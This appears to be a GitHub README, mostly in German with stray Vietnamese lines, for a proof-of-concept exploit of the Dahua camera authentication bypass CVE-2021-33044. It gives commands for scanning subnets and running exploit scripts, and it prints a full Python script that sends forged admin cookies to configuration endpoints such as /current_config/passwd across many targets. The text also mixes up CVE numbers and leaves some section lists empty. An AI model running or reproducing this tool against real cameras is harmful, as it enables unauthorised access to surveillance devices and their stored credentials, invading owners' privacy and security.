
PoC-Exploit für die Umgehung der Dahua-Authentifizierung (CVE-2021-33044). Scannt Subnetze, testet mehrere CVEs und extrahiert Gerätekonfigurationen über manipulierte Cookies ohne gültige Anmeldedaten.
Dahua-IP-Kameras sind IoT-Geräte, die häufig in Sicherheitsüberwachungssystemen eingesetzt werden. Da sie oft in internen Netzwerken oder über das Internet erreichbar sind, können Sicherheitslücken bei IP-Kameras schwerwiegende Auswirkungen auf die Privatsphäre und die Informationssicherheit haben.
CVE-2021-33045 ist eine Sicherheitslücke, die in einigen Dahua-Kameramodellen existiert und unbefugten Zugriff auf interne Konfigurationsressourcen ohne gültige Authentifizierung ermöglicht. Diese Schwachstelle resultiert aus einer unzureichenden Zugriffskontrolle in der Firmware des Geräts.
| Feld | Inhalt |
|---|---|
| CVE | CVE-2021-33044 |
| Typ | Authentication Bypass |
| Schweregrad | Critical (CVSS ~9.8) |
| Auth | Keine Authentifizierung erforderlich |
| Betroffen | Dahua Camera / DVR / NVR |
Die Schwachstelle resultiert aus einem unsicheren Authentifizierungsdesign in der Firmware der Dahua-Kameras:
Dies ermöglicht Angreifern:
Referenzen:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Gängige Dahua-Ports: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
Das Skript verwendet die Bibliothek requests und deaktiviert aktiv SSL-Warnungen.
Die Funktion dump_accounts(ip, port=80) ist die Hauptfunktion, die für die Prüfung eines Kamerageräts zuständig ist.
Ihre Hauptfunktionen sind:
Simulation von Authentifizierungs-Cookies. Die Funktion verwendet Cookie-Werte wie:
userName=adminuserLevel=1sessionID=00000000In betroffenen Kameraversionen überprüft das Backend die tatsächliche sessionID nicht, sodass das System davon ausgeht, dass die Anfrage von einem gültigen Administratorkonto stammt.
Das Skript liest die Zielliste aus der Eingabedatei und ruft nacheinander die Prüffunktion für jedes Gerät auf. Dieser Ansatz ermöglicht die automatische Bewertung mehrerer Kameras.
Diese Skripte wurden auf Basis folgender Quellen entwickelt:
Teststatus:
Dieses Projekt:
| Datei | Zweck | CVEs |
|---|
dahua_scanner.py | Netzwerk-Entdeckung – findet Dahua-Kameras im Subnetz | Erkennung |
dahua_exploit.py | Multi-CVE-Scan-Tool – prüft alle Sicherheitslücken. | Alle |
dahua_auth_bypass.py | Dedizierter Authentifizierungs-Bypass mit --dump-Option | CVE-2021-33044 |